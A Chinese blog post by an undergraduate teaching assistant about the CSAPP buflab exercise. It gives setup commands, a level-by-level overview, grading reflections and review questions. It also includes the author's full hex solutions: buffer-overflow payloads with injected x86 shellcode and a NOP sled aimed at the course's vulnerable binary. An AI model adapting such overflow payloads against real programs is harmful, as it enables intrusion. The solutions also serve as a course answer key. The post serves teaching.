前言
称不上导引了,因为验收已经结束了。主要是最近比较忙,在准备期末考试。周五晚上才开始看实验,自己跟着做了一遍实验,感觉难度还是比bomblab要低的,但是如果用心做的话对于栈帧的理解确实能上几个档次。
实验参考
这次我先上参考文献了,我主要还是在看A橙学长写的blog,然后参考了一些其它的blog。
由于我自己并没有花太多时间去做这个实验,我还是觉得看前辈们的博客会更方便理解一点。
A橙学长的buflab博客
CSAPP-buflab - 简书
计算机系统实验三——buflab(缓冲区实验)-CSDN博客
引导
这个实验主要是让我们用缓冲区溢出的方式修改函数的返回地址,或者修改寄存器的值,用这种方式可以让原来的函数干一些你想让它干的事情。具体逻辑在后面呈现。
①环境准备
拿到手应该是buflab-handout.tar.gz包,首先使用如下指令解压。
tar -xzvf buflab-handout.tar.gz
这样会得到3个文件,
- bufbomb:类似于前面的bomblab的bomb,是我们要拆的炸弹
- makecookie:让我们知道自己的用户id对应什么cookie(推测是一种哈希映射)
- hex2raw:将我们写的16进制编码转换为字符串输入
与之前一样,可以使用如下指令反汇编得到汇编代码,保存在txt文件内,方便查看。
objdump -d bufbomb > bombcode.txt
使用如下代码查看自己的cookie,比如我的用户名是wolf,我就按下面这样,它会给出一个4字节的哈希值,这就是wolf对应的cookie。你也可以输入自己的学号,或者自己喜欢的代号。
./makecookie wolf
接下来就是看着txt文件,分析代码,然后拆炸弹,得到期望的运行结果了。
②逐个拆炸弹
一共有5关,从 level 0 到 level 4 ,难度递增,基本上后一个是前一个上面的改进。
我大致说说每一个level的含义以及不同。
- level 0:修改getbuf函数的返回地址,使它调用smoke函数。不需要考虑栈被破坏的恢复
- level 1:修改getbuf函数的返回地址,使它调用fizz函数,但是fizz函数有一个参数,需要同时修改栈上被传递的参数,该函数验证cookie是否等于被传递的参数。不需要考虑栈被破坏的恢复
- level 2:修改getbuf函数的返回地址,使它调用bang函数,但是有一个全局变量(全局变量不保存在栈上,因而需要使用代码修改而不能简单通过缓冲区覆盖栈上的值完成),该函数验证cookie值是否等于这个全局变量。不需要考虑栈被破坏的恢复
- level 3:执行getbuf()后,将getbuf()的返回值修改为cookie值,并返回到test()函数,同时恢复被破坏的栈(ebp的值)
- level 4:【使用-n标志运行程序】是上一level的升级版,相当于连续做5次level3,但有小区别。具体过程:调用testn(),在testn()中调用getbufn()五次,且缓冲区的大小为512字节。每次getbufn()的栈空间随机,因此不可以再使用level3中的方式找到buf的起始位置。
具体的拆炸弹过程可以参考上面列出来供参考的几位博客,我就不再赘述了。
评价一下,实验层层递进,由浅入深,确实十分精妙有趣。
③注意点
说一些注意点:
gdb的基础使用:
gdb -q bufbomb
打断点怎么打? 例如:b*0x8048436
怎么继续运行到下一个断点?c
最后一题注意要使用-n标志去运行程序(不论是调试还是运行),否则可能会报段错误
可以使用管道符来快速跑起来,如下面这样可以快速试试第4关
cat level4.txt | ./hex2raw | ./bufbomb -u wolf
④我的答案(对于name=wolf)
level0
/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
/* return address to smoke 4 Bytes */
0b 8e 04 08
level1
/* spaces 44 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
/* return address to fizz 4 Bytes */
af 8d 04 08
/* spaces 4 Bytes */
00 00 00 00
/* cookie 4 Bytes */
68 18 e4 64
level2
/* my function 13 Bytes */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
b9 0c d1 04 08 /* mov $0x0804d10c,%ecx */
89 01 /* mov %eax,(%ecx) */
c3 /* ret */
/* spaces 31 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
/* return address to my function 4 Bytes */
58 3b 68 55
/* return address to bang 4 Bytes */
52 8d 04 08
level3
/* my function 17 Bytes */
68 50 8e 04 08 /* push $0x8048e50 */
68 b0 3b 68 55 /* push $0x55683bb0 */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
c9 /* leave */
c3 /* ret */
/* spaces 23 Bytes */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
/* set ebp 4 Bytes */
80 3b 68 55
/* return address to my function 4 Bytes */
58 3b 68 55
level4(这个还需要调一下)
/* nop sleds 509 Bytes */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
/* my function 15 Bytes */
b8 68 18 e4 64 /* mov $0x64e41868,%eax */
8d 6c 24 28 /* lea 0x28(%esp),%ebp */
68 e2 8c 04 08 /* push $0x8048ce2 */
c3 /* ret */
/* set return address 4 Bytes */
c8 39 68 55
验收
接下来讲一下验收的情况。
由于这次实验我本人自认为确实没有做充足的准备(仅仅是做了一遍,并没有进行深入的思考)。因此这次实验验收,我主要是在听同学们讲,然后根据我认为他们的理解程度给出评价。也因此,这次我给出的基本都是A,基本没有给到B的,然后有4位A+。主要是我认为同学们都达到了我的预期,基本理解了栈帧以及运行时栈的调动(其实如果静下心来学的话,不难的)。
拿到A+的同学或者一些其它比较好的同学有以下优点可供同学们学习:
- ①条理清晰:这一点其实说着好像简单,实际上一点都不简单。确实有些同学我知道他理解了,但是在展示上确实观感就没那么突出。(这个其实我也有一点这样,我不太善于表达自己的观点)。我认为能清晰地表达出自己的观点是一种非常重要的能力,无论是在哪里。
- ②预先绘制清晰图表:运行时栈的变化有时还是很难讲清楚的,所以印象中有好几位同学预先绘制了这样的图表,就会清晰好多。关键是在短时间内,我能一眼看到他确实懂了。有辅助的图表,会清晰很多,这个是在展示的层面上,可视化比平铺直叙更具有吸引力,也更方便交流。
- ③探索心路:这一点是很多同学都忽视的。同学们习惯一上来就从level 0 开始讲。其实我还是比较关注这整体实验的来历的。包括你是怎么知道有5个关卡的,你是怎么知道要做这些的,你是怎么知道实验通关的标志的,等等这些。我希望看到你从0探索出全图的一些心路(就像一个一个锚点去开,然后全图豁然开朗的欣喜),而不是上来就一路过关斩将,实际上又有几个人能做到这么顺利呢。虽然我们都知道这个世界最看重结果,但我认为探索的过程永远是最有价值的部分。这一点还可以延申一下,由于课业繁重等,我们做实验往往抱着完成任务的态度,这无可厚非,但有时会感觉太刻意了,缺乏了一些探索的美感。还是希望同学们能有这个意识。
- ④分析缓冲区溢出原因:很少有同学提及,我们这个实验为什么能继续下去。印象中有同学翻开书给我看,或者翻代码给我看gets函数的特性,因为这是它不检验溢出,可以无限读取。以及用fgets函数可以避免这个漏洞。我觉得这就非常好,这就是知其然而知其所以然。有时候这也是我们实验需要关注的一些细节。
- ⑤关注基本指令的作用:几个小问题,call指令,leave指令,ret指令究竟做了什么,怎么转换成基本的操作。我觉得这个问题很重要。很欣喜的是大部分同学都能答得上来(实际上这也是做这个实验的基本要求)。有同学掌握的不是很熟练,有同学特别对这个做了总结,我觉得还是要关注的。
其它的:
- ⑥印象中有同学探究了中间几个level的多种实现方法(修改ebp寄存器的值可以通过指令修改,也可以直接缓冲区溢出覆盖),(恢复ebp的几种方法)还有一些别的实现方法。有同学做到后面的题目之后,能想到对前面题目的改进方法,并对前面的题目也做了栈的修复,这些探究都非常好。
- ⑦印象比较深刻的是有同学在level 0 用重定位绕过了 0a 导致被识别成换行符的问题,还是能让程序从smoke的第一条指令进入,而不是网上大多采用的改为0b然后从第二条指令进入的方法。这是一个令我眼前一亮的想法。想到这个的同学对于知识的整体体系有一个较好的整合。
- ⑧有同学对于实验中不理解的地方向我提出问题,我在自己的能力范围内试图给出解答,不一定是正确的,但我认为这也能在一定的程度上反映出他的思考。能提出问题,能提出有价值的问题,也是一种能力。
验收只是一个形式,最重要的还是希望大家能从实验中确实学到知识。
下面简单罗列一些我或者研究生助教的提问
- 这个level相比于上个level,主要增加了什么需要完成的部分,你是怎么完成的?(主要问题)
- level1中间为什么会空一个可以随便填写的地方?
- level2你的代码入口在哪里,怎么获取它的地址?
- level4为这5个ebp,为什么选择最大的那个?如果选择最小的那个会出现什么问题?
- 运行时栈,怎么变化?
- 某个地址,某个ebp,某个立即数,你是怎么得到的?
- 某条指令的作用(call,ret,leave等)?
- gdb m32标志是干什么的?(这是研究生助教提问的,有同学答不上来)(我认为这个应该还是比较基础的,主要是我们的系统基本上都是64位的,但是我们用的这个bomb是32位的,如果不使用这个标志,我们自己写的汇编可能会编译出retq这种64位特有的指令类型,不兼容的)
- 其它问题(主要围绕代码本身或者运行时栈的变化)
尾声
真的很高兴能在大三成为本科生助教,为可爱而优秀的学弟学妹们验收这门计算机领域最重要课程的4个实验。
说起来,最早想当助教的念头起源于大二我在上这门课程时遇到的优秀的A橙学长,A橙学长独特的人格魅力真的吸引了我们,我们班甚至是我们年级好多人都是A橙学长的小迷弟小迷妹。A橙学长撰写的大量博客如一盏明灯,指引着我的本科生活。我想当助教99%的原因都是来自于这一点。希望能将这一点传承下去。我就是基于这样一种朴素的,希望能把自己遇到的真善美传递下去,这个简单的理念。这也许就是湖大信息院的诸多“传承”之一吧,像班助一样。
预祝学弟学妹们都能收获自己满意的知识+成绩。